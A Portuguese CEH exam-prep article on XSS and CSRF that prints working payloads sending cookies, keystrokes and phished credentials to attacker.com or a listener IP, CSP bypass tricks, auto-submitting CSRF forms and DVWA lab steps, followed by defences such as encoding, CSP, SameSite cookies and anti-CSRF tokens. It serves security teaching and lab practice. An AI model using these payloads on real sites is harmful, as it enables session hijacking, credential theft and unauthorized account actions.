XSS e CSRF: Exploração e Defesa em Aplicações Web

Duas das vulnerabilidades mais prevalentes e exploradas em aplicações web são o Cross-Site Scripting (XSS) e o Cross-Site Request Forgery (CSRF). Juntas, representam uma parcela significativa dos ataques bem-sucedidos contra plataformas web em produção. O CEH v13 dedica atenção considerável a ambas — não apenas à mecânica de exploração, mas às contra-medidas que todo pentester deve saber avaliar.

Este artigo cobre cada vetor em profundidade: como funcionam, como são explorados, como contornar defesas existentes e, fundamentalmente, como defendê-los. O tom é hands-on — os exemplos refletem cenários reais de pentest.

Nota do CEH: O exame cobra a distinção clara entre XSS e CSRF. XSS executa código no browser da vítima; CSRF envia requests do browser da vítima para o servidor alvo. A mecânica é diferente. O impacto se sobrepõe.

Cross-Site Scripting (XSS)

O que é

Cross-Site Scripting é uma vulnerabilidade que permite a um atacante injetar JavaScript malicioso em páginas web que são servidas a outros usuários. O código executado roda no contexto da origem (origin) da aplicação vulnerável — o que significa que o script malicioso tem acesso aos cookies, ao DOM, ao localStorage e a qualquer recurso que a vítima teria acesso naquele domínio.

A confusão no nome é intencional e histórica: a sigla seria “CSS”, mas isso conflitaria com Cascading Style Sheets. Logo, “XSS” — o X representando “cross”. A ironia é que o ataque acontece dentro do mesmo site, não entre sites. O “cross” se refere ao fato de que o script malicioso é originado por um terceiro mas executado em contexto de primeira parte (first-party).

Impacto real

O XSS é frequentemente subestimado como “apenas roubo de cookie”. Na realidade, o impacto é amplo:

  • Cookie stealing e session hijacking — capturar cookies de sessão e assumir a identidade da vítima.
  • Defacement — alterar o conteúdo visual da página (substituir logos, mensagens, redirecionar).
  • Phishing in-page — injetar formulários falsos que parecem legítimos, capturando credenciais.
  • Keylogging — registrar cada tecla digitada pela vítima na página.
  • Crypto mining — injetar scripts de mineração (CoinHive) que usam a CPU da vítima.
  • Redirecionamento — enviar a vítima para sites maliciosos.
  • DOM manipulation — ler/modificar dados sensíveis renderizados na página (tokens, dados pessoais).
Dica de exame: O CEH pergunta frequentemente qual é a diferença entre XSS refletido, armazenado e DOM-based. A resposta curta: refletido precisa de engenharia social por request; armazenado é persistente no servidor; DOM-based é manipulação client-side sem passagem pelo servidor.

Tipos de XSS

XSS Refletido (Non-Persistent)

No XSS refletido, o payload é enviado via request (URL parameter, formulário) e refletido na resposta do servidor sem sanitização adequada. O script aparece no HTML retornado e executa no browser da vítima.

Exemplo clássico — campo de busca vulnerável:

# Request normal
GET /search?q=celular HTTP/1.1

# Response com o termo refletido sem sanitização
<p>Resultados para: celular</p>

# Request com payload XSS
GET /search?q=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

# Response — o payload é renderizado como HTML válido e executado
<p>Resultados para: <script>document.location='http://attacker.com/steal?c='+document.cookie</script></p>

O atacante precisa convencer a vítima a clicar no link com o payload — daí a necessidade de engenharia social: email com link truncado, post em fórum, redirecionamento de URL curta. Um link como https://site.com/search?q=<script>...</script> é suspeito, então atacantes avançados usam encoding para disfarçar:

# URL encoding
https://site.com/search?q=%3Cscript%3Edocument.location%3D'http%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D'%2Bdocument.cookie%3C%2Fscript%3E

# HTML entity encoding (quando o input é refletido dentro de atributos)
https://site.com/search?q="><script>alert(1)</script>

XSS Armazenado (Persistent / Stored)

No XSS armazenado, o payload é persistido no servidor — em um comentário, post de fórum, perfil de usuário, mensagem de chat, review de produto. Qualquer usuário que visitar a página afetada executa o script automaticamente, sem necessidade de interação com o atacante.

# Atacante posta um comentário em um blog vulnerável
POST /comment
Content-Type: application/x-www-form-urlencoded

post_id=42&comment=Ótimo artigo!<script>new Image().src="http://attacker.com/log?c="+document.cookie</script>&author=Usuário

# Qualquer visitante que carregar a página do post 42
# terá o script executado no seu browser — silenciosamente

Este é o tipo mais perigoso de XSS porque:

  • Não requer engenharia social — a vítima só precisa visitar a página.
  • O payload pode atingir todos os visitantes, não um alvo específico.
  • Persiste até ser removido manualmente ou o bug ser corrigido.
Exemplo real: O worm do Samy (MySpace, 2005) usou XSS armazenado para se auto-replicar. Em menos de 24 horas, o script adicionou mais de 1 milhão de “amigos” ao perfil do atacante. O payload modificava o perfil da vítima para incluir uma cópia de si mesmo — cada novo visitante infectado propagava o worm.

XSS Baseado em DOM (DOM-based XSS)

No XSS baseado em DOM, a vulnerabilidade está inteiramente no JavaScript client-side. O payload nunca vai para o servidor — é processado diretamente pelo browser. A fonte (source) do dado malicioso é lida do DOM e passada para um sink perigoso sem sanitização.

Sources comuns:

  • document.location
  • document.URL
  • document.referrer
  • window.name
  • location.hash
  • document.cookie

Sinks perigosos:

  • document.write()
  • innerHTML
  • outerHTML
  • eval()
  • setTimeout() / setInterval() com string
  • Function()
// Aplicação vulnerável — lê fragment da URL e escreve no DOM
var greeting = decodeURIComponent(window.location.hash.substring(1));
document.getElementById("greeting").innerHTML = greeting;

// URL maliciosa
https://site.com/page#<img src=x onerror=alert(document.cookie)>

// O browser renderiza: <div id="greeting"><img src=x onerror=alert(document.cookie)></div>
// Resultado: execução do payload XSS sem nenhum envio ao servidor

A dificuldade de detectar DOM-based XSS é que ferramentas de scan tradicionais não capturam — o payload nunca aparece no tráfego HTTP. Ferramentas como o DOMPurify e análise estática de código são necessárias.

XSS — Payloads Comuns

Cookie Stealing

// Redirecionamento silencioso para servidor do atacante com cookie
document.location='http://attacker.com/steal?c='+document.cookie;

// Alternativa com Image (não redireciona — mais discreto)
new Image().src='http://attacker.com/log?c='+document.cookie;

// Fetch API (moderno)
fetch('http://attacker.com/log', {
  method: 'POST',
  body: JSON.stringify({cookie: document.cookie}),
  mode: 'no-cors'
});

Keylogger

// Captura cada tecla e envia ao servidor
document.onkeypress = function(e) {
  fetch('http://attacker.com/log', {
    method: 'POST',
    body: 'key=' + e.key
  });
};

Defacement

// Substitui todo o conteúdo da página
document.body.innerHTML = '<h1 style="text-align:center;color:red;margin-top:20%">Hacked by Attacker</h1>';

// Altera logo da página
document.querySelector('.logo').src = 'http://attacker.com/fake-logo.png';

Phishing In-Page

// Injeta formulário de login falso sobre a página legítima
var form = document.createElement('form');
form.action = 'http://attacker.com/phish';
form.method = 'POST';
form.innerHTML = '<h3>Sessão expirada. Faça login novamente.</h3>' +
  '<input name="user" placeholder="Email"><br>' +
  '<input name="pass" type="password" placeholder="Senha"><br>' +
  '<button type="submit">Entrar</button>';
document.body.innerHTML = '';
document.body.appendChild(form);

Crypto Mining

// Injeta script de mineração CoinHive (histórico, já descontinuado mas o conceito persiste)
var s = document.createElement('script');
s.src = '';
document.head.appendChild(s);
// Monero mining silencioso usando CPU do visitante

Bypass de Content Security Policy (CSP)

A Content Security Policy (CSP) é a principal defesa contra XSS. Ela restringe quais recursos (scripts, estilos, imagens, frames) podem ser carregados em uma página, definidos via header HTTP Content-Security-Policy.

Exemplo de CSP restritiva:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.site.com; style-src 'self' 'unsafe-inline'

Mas CSP não é silver bullet. Técnicas de bypass são tema obrigatório no CEH:

  • JSONP endpoints: muitos CDNs antigos oferecem endpoints JSONP que retornam dados dentro de callbacks controláveis (?callback=alert(1)//). Se o domínio do CDN estiver na whitelist do CSP, o script executa.
  • data: URI: se o CSP permite data: como source, payloads como data:text/html,<script>alert(1)</script> funcionam.
  • Base64 encoding: atenua filtros de WAF mas não de CSP por si só — contudo, combinado com JSONP ou CDN poisoning, cria vetores exploráveis.
  • Nonce reuse ou previsível: se o nonce (valor único por request) for gerado de forma previsível ou reutilizado, o atacante pode adivinhar ou reutilizar um nonce válido.
  • Dangling markup injection: quando o input é refletido sem sanitização dentro de um atributo, o atacante pode “abrir” a tag e injetar markup que extrai dados da página seguinte. Ex: "><base href="http://attacker.com/ faz com que URLs relativas da página apontem para o servidor do atacante.
  • CDN poisoning: se um script na whitelist CDN for controlável (ex: versão desatualizada com vulnerabilidade), o atacante explora a cadeia de suprimento.
  • Script gadgets: bibliotecas legítimas na whitelist que contêm funções perigosas. O atacante chama angular.element(document).injector().get('$http')... por exemplo.

Cross-Site Request Forgery (CSRF)

O que é

CSRF é um ataque onde um site malicioso (site A) induz o browser da vítima a enviar uma request autenticada para um site legítimo (site B) sem que a vítima saiba. A request é feita com as credenciais já existentes — cookies de sessão, certificados client, HTTP auth — que o browser anexa automaticamente.

O servidor alvo não consegue distinguir uma request legítima (originada pela vítima navegando no site B) de uma request forjada (originada pelo site A). Tudo parece normal: o cookie de sessão está presente, o header de referer pode ser omitido, a request segue a mesma estrutura.

Exemplo clássico — transferência bancária

<!-- Site do atacante (evil.com) -->
<html>
  <body>
    <!-- Formulário oculto com auto-submit -->
    <form id="csrf" action="https://bank.com/transfer" method="POST">
      <input type="hidden" name="to" value="attacker_account">
      <input type="hidden" name="amount" value="5000">
    </form>
    <script>document.getElementById('csrf').submit();</script>
  </body>
</html>

A vítima visita evil.com. O formulário é submetido automaticamente para bank.com/transfer. O browser anexa o cookie de sessão da vítima no bank.com. Se a vítima estiver logada no banco, a transferência é processada normalmente.

Condição necessária: A vítima deve estar autenticada no site alvo no mesmo browser. Sem sessão ativa, o ataque falha — o cookie não existe ou expirou.

CSRF — Técnicas de Exploração

Formulário Oculto (POST-based)

O método mais comum. O atacante cria um formulário HTML com campos hidden e submete via JavaScript automaticamente. Funciona com qualquer método HTTP que o browser suporte via formulário (GET e POST).

<form action="https://target.com/admin/delete_user" method="POST">
  <input type="hidden" name="user_id" value="42">
  <input type="hidden" name="confirm" value="yes">
</form>
<script>document.forms[0].submit();</script>

GET-based CSRF

Se a ação sensível aceita GET, o ataque é trivial — basta uma imagem, link ou iframe:

<!-- Mais simples possível -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">

<!-- Via iframe -->
<iframe src="https://bank.com/transfer?to=attacker&amount=1000" style="display:none"></iframe>

Por isso, o CEH enfatiza: ações com efeitos colaterais (state-changing) nunca devem usar GET. GET deve ser safe e idempotente.

JSON Content-Type e CORS

Muitas APIs modernas aceitam JSON via POST. O problema: um formulário HTML padrão envia application/x-www-form-urlencoded, não JSON. Tentar enviar JSON via formulário resulta no campo enviado como texto, não como JSON válido.

Solução do atacante: se o endpoint também aceita form-urlencoded (malconfiguração comum), o formulário funciona. Se o endpoint exige Content-Type: application/json, o atacante precisa explorar uma falha CORS:

// Se o servidor CORS permite qualquer origin
fetch('https://api.bank.com/transfer', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',   // anexa cookies
  body: JSON.stringify({to: 'attacker', amount: 5000})
});

// Com Access-Control-Allow-Origin: * e Access-Control-Allow-Credentials: true
// Isso funciona — mas na prática * + credentials é bloqueado pelo browser
// O bypass real é quando o servidor reflete o Origin header:
// Access-Control-Allow-Origin: [origin dinâmico da request]

CSRF — Defesas e Bypass

Anti-CSRF Tokens (Synchronizer Token Pattern)

O servidor gera um token aleatório por sessão e o inclui em cada formulário. Quando o formulário é submetido, o token é validado no servidor. O atacante, operando de outro domínio, não tem acesso ao token por causa da Same-Origin Policy.

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="a8f2c1d9e4b7...">
  <input name="to">
  <input name="amount">
</form>

SameSite Cookies

O atributo SameSite em cookies controla quando eles são enviados em requests cross-site:

  • Strict — cookies NUNCA são enviados em requests cross-site. Máxima proteção, mas quebra funcionalidades como links de email ("abrir no app").
  • Lax — cookies são enviados em navegação top-level via GET (links normais), mas NÃO em requests cross-site via POST, iframe, fetch com credentials. É o padrão moderno nos navegadores.
  • None — cookies são enviados em qualquer contexto. Requer Secure. Usado apenas quando necessário (embeds, SSO).
Set-Cookie: session_id=abc123; SameSite=Strict; Secure; HttpOnly
Set-Cookie: session_id=abc123; SameSite=Lax; Secure; HttpOnly

Validação de Referer e Origin

O servidor verifica os headers Origin ou Referer da request e rejeita requests de origens não autorizadas:

# Header Origin ( enviado pelo browser em requests cross-origin)
Origin: https://evil.com

# Se o servidor espera Origin: https://bank.com e recebe https://evil.com → reject

Custom Headers

Requisitar um header customizado (ex: X-Requested-With: XMLHttpRequest) bloqueia requests cross-origin de formulários HTML — o browser não permite adicionar headers customizados em form submits sem um preflight CORS. Frameworks como Django e Rails fazem isso automaticamente em AJAX requests.

Double Submit Cookie

O servidor define um cookie CSRF e também espera o mesmo valor no body/header da request. Se o cookie é enviado e o header também, o servidor compara ambos. Atacante cross-site consegue enviar o cookie mas não consegue ler seu valor para colocá-lo no header (Same-Origin Policy).

Bypass de CSRF Defenses

  • Predição de token: se o token anti-CSRF usa PRNG fraco, timestamp, ou é derivado de dados previsíveis (user ID + timestamp sem salt), o atacante pode gerá-lo independentemente.
  • XSS como bypass: se o site alvo tem XSS, qualquer defesa CSRF é inútil — o script pode ler o token do DOM e incluí-lo na request forjada.
  • CORS misconfiguration: Access-Control-Allow-Origin refletindo o Origin do request permite requests cross-origin com credenciais. O atacante só precisa fazer a request do seu site.
  • Remoção do token via XSS: mesmo sem ler, o script pode remover a validação CSRF no client-side ou interceptar a request e reenviá-la.

Ferramentas

XSSer

Framework open-source automatizado para detecção e exploração de XSS. Suporta payloads customizados, fuzzing de parâmetros, encoding automático e bypass de WAF. Ideal para triagem rápida em grande volume de parâmetros:

xsser --url "https://target.com/search?q=XSS" --auto
xsser --url "https://target.com" --Fp "<script>alert(document.cookie)</script>" --De

BeEF — Browser Exploitation Framework

Uma vez que XSS é confirmado, BeEF é o próximo passo. O atacante injeta um hook script (<script src="http://attacker:3000/hook.js">) na página vulnerável. O browser da vítima se conecta ao painel do BeEF, que expõe módulos para:

  • Keylogging e captura de clipboard.
  • Redirecionamento silencioso para páginas de phishing.
  • Escalation de XSS para RCE via exploits de browser/plugin.
  • Scanning de redes internas (a vítima pode acessar redes que o atacante não consegue).
  • Captura de histórico, cookies, credenciais de formulário.

O BeEF transforma um único XSS em uma plataforma completa de post-exploitation do browser.

Burp Suite

Ferramenta central de qualquer pentester web. No contexto XSS/CSRF:

  • Scanner: detecta XSS automático (refletido e armazenado) e gera PoC.
  • Intruder: fuzzing de parâmetros com payloads XSS de dicionários customizados.
  • CSRF PoC Generator: gera página HTML auto-submetível a partir de qualquer request interceptada — botão direito na request → "Generate CSRF PoC".
  • Repeater: testar manualmente payloads XSS e observar respostas.

OWASP ZAP

Alternativa open-source ao Burp Suite. Inclui scanner de XSS ativo e passivo, fuzzer, spider e gerador de relatórios. Ideal para quem precisa de ferramentas gratuitas sem limitações.

DVWA — Damn Vulnerable Web Application

Laboratório intencionalmente vulnerável. Os módulos XSS (Reflected, Stored, DOM) e CSRF permitem prática segura dos conceitos deste artigo. Docker disponível para setup instantâneo:

docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Acessar http://localhost → login admin/password
# Ir para DVWA Security → setar "low" para desabilitar proteções

Hands-on — Laboratório com DVWA

Exercício 1: Reflected XSS — Roubo de Cookie

Setup: Acesse o DVWA (Low Security), navegue até "XSS (Reflected)".

Passo 1 — Confirmar vulnerabilidade:

# No campo de input:
<script>alert('XSS confirmado')</script>

# Resultado: popup com a mensagem. O JavaScript foi executado.

Passo 2 — Construir payload de roubo de cookie:

# Payload completo (substitua IP pelo seu listener)
<script>new Image().src="http://192.168.1.100:8080/steal?c="+document.cookie</script>

# No servidor do atacante, iniciar listener:
nc -lvnp 8080
# ou usar Python:
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'[+] Cookie capturado: {self.path}')
        self.send_response(200)
        self.end_headers()
http.server.HTTPServer(('0.0.0.0', 8080), H).serve_forever()
"

Passo 3 — Entender a cadeia completa: A vítima clica no link, o script executa, o cookie PHPSESSID é enviado ao atacante. Com esse cookie, o atacante pode acessar a conta da vítima substituindo seu próprio cookie.

Exercício 2: Stored XSS — Guestbook

Setup: Navegue até "XSS (Stored)" no DVWA.

# No campo "Name":
<script>document.title='COMPROMETIDO'</script>

# No campo "Message":
<script>new Image().src="http://192.168.1.100:8080/stored?c="+document.cookie</script>

# Qualquer visitante que abrir a página XSS (Stored) terá:
# 1. O título da aba alterado
# 2. Seu cookie exfiltrado silenciosamente

A diferença fundamental: ninguém precisa clicar em link nenhum. A vulnerabilidade é automática e persistente.

Exercício 3: CSRF — Gerar PoC com Burp Suite

Setup: DVWA → "CSRF" (Low Security). O objetivo é mudar a senha do admin.

Passo 1 — Interceptar a request legítima:

# Com Burp Suite proxy ativo, alterar a senha:
POST /vulnerabilities/csrf/ HTTP/1.1
Host: dvwa
Content-Type: application/x-www-form-urlencoded

password_new=senha123&password_conf=senha123&Change=Change

Passo 2 — Gerar PoC: No Burp, botão direito na request interceptada → "Engagement tools" → "Generate CSRF PoC". O Burp gera um HTML pronto:

<html>
  <body>
    <form action="http://dvwa/vulnerabilities/csrf/" method="POST">
      <input type="hidden" name="password_new" value="hacked123" />
      <input type="hidden" name="password_conf" value="hacked123" />
      <input type="hidden" name="Change" value="Change" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

Passo 3 — Testar: Salve o HTML, abra em outra aba com o DVWA logado como admin. A senha é alterada sem que o usuário perceba. Em "Medium Security", o DVWA adiciona um token anti-CSRF — tentar o mesmo PoC falha, demonstrando a eficácia da defesa.

Contra-medidas — XSS

Output Encoding (Context-Aware)

A defesa primária contra XSS é codificar a saída antes de renderizá-la. O encoding depende do contexto onde o dado é inserido:

  • Contexto HTML body: codificar <, >, &, ", ' como entidades HTML.
  • Contexto atributo HTML: codificar todos os caracteres acima + `.
  • Contexto JavaScript: escaped Unicode para caracteres especiais. Nunca interpolar input diretamente em <script> — usar textContent em vez de innerHTML.
  • Contexto URL: usar encodeURIComponent().
  • Contexto CSS: escapar todos os caracteres não alfanuméricos.

Content Security Policy (CSP)

Implementar CSP restritiva como camada de defesa em profundidade:

# CSP recomendada (production)
Content-Security-Policy:
  default-src 'none';
  script-src 'self' 'nonce-$(RANDOM)';
  style-src 'self';
  img-src 'self';
  font-src 'self';
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self'

Use nonces (valores únicos por request) em vez de hashes estáticos. Nunca use 'unsafe-inline' ou 'unsafe-eval' em produção — isso anula a proteção contra XSS inline.

HttpOnly Cookies

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict

Marcar cookies como HttpOnly impede que JavaScript acesse document.cookie. Não previne XSS — mas elimina o roubo de cookie via document.cookie. O atacante ainda pode usar hooks (BeEF), mas a superfície de ataque é reduzida.

Input Validation (Whitelist)

Validar input no servidor é bom, mas insuficiente sozinho contra XSS — porque o dado malicioso pode vir de fontes não controláveis (headers, banco de dados corrompido). A validação deve ser whitelist (permitir apenas caracteres/formatos esperados), nunca blacklist (tentar bloquear payloads conhecidos — sempre falha).

DOMPurify

Para aplicações que precisam renderizar HTML rico (editores WYSIWYG), use a biblioteca DOMPurify para sanitizar o HTML no client-side:

// Sanitiza HTML removendo scripts e event handlers perigosos
const cleanHTML = DOMPurify.sanitize(userInput, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href', 'target']
});
document.getElementById('content').innerHTML = cleanHTML;

Contra-medidas — CSRF

Implementação em Camadas

Uma defesa robusta contra CSRF combina múltiplas camadas:

  • Anti-CSRF tokens — padrão Synchronizer Token. Gerar token criptograficamente seguro por sessão (mínimo 128 bits de entropia). Validar em toda request state-changing. Frameworks modernos fazem isso automaticamente (Django {% csrf_token %}, Rails protect_from_forgery, Spring @CsrfProtection).
  • SameSite=Lax nos cookies de sessão — mínimo aceitável hoje. Compatível com links normais e evita a maioria dos ataques CSRF. Navegadores modernos usam Lax como padrão quando o atributo não é especificado.
  • Verificação de Origin/Referer — camada adicional. Confira o header Origin e rejeite se não corresponder à lista de origens permitidas. Não dependa exclusivamente deste (headers podem ser omitidos em certos cenários).
  • Re-autenticação para ações sensíveis (transferência de valores, mudança de senha, exclusão de conta). Mesmo com CSRF token, pedir a senha novamente é defesa em profundidade.
  • Custom headers — exigir X-Requested-With: XMLHttpRequest (ou similar) em endpoints AJAX. Formulários HTML não conseguem enviar headers customizados sem preflight CORS.
# Exemplo de verificação no backend (Node.js/Express)
app.post('/transfer', (req, res) => {
  // 1. Verificar Origin
  const origin = req.headers.origin;
  if (!['https://bank.com', 'https://app.bank.com'].includes(origin)) {
    return res.status(403).json({error: 'Origin inválido'});
  }

  // 2. Verificar CSRF token
  if (req.body.csrf_token !== req.session.csrfToken) {
    return res.status(403).json({error: 'Token CSRF inválido'});
  }

  // 3. Verificar custom header (se AJAX)
  if (!req.headers['x-requested-with']) {
    return res.status(403).json({error: 'Header obrigatório ausente'});
  }

  // Processar transferência...
});

Resumo

XSS e CSRF são vulnerabilidades distintas com mecânicas diferentes, mas ambas exploram a confiança implícita que o browser tem na aplicação web. XSS injeta código executável; CSRF forja requests autenticadas. Ambas são mitigáveis com as defesas certas — mas continuam predominantes porque desenvolvedores falham em implementá-las consistentemente.

Para o CEH v13, o examinador espera que você saiba:

  • Diferenciar os três tipos de XSS (refletido, armazenado, DOM-based).
  • Construir payloads básicos de XSS para diferentes objetivos.
  • Explicar como o CSP funciona e como pode ser contornado.
  • Descrever o mecanismo do CSRF e gerar PoC.
  • Listar contra-medidas para XSS e CSRF com detalhes técnicos.
  • Usar ferramentas como Burp Suite e DVWA para demonstrar exploração.

A prática no DVWA e a construção manual de payloads consolidam o entendimento teórico — e esse é o diferencial entre passar e passar bem no exame.

Próximo artigo: No Artigo 23 da série CEH v13 "Zero to Hero", vamos mergulhar no Burp Suite — a ferramenta indispensável de qualquer pentester web. Cobriremos proxy, repeater, intruder, scanner, extensões e workflows profissionais de teste de intrusão. Burp Suite é a ferramenta central que une todos os conceitos discutidos até aqui — desde SQL Injection até XSS e CSRF — em um único ambiente de trabalho.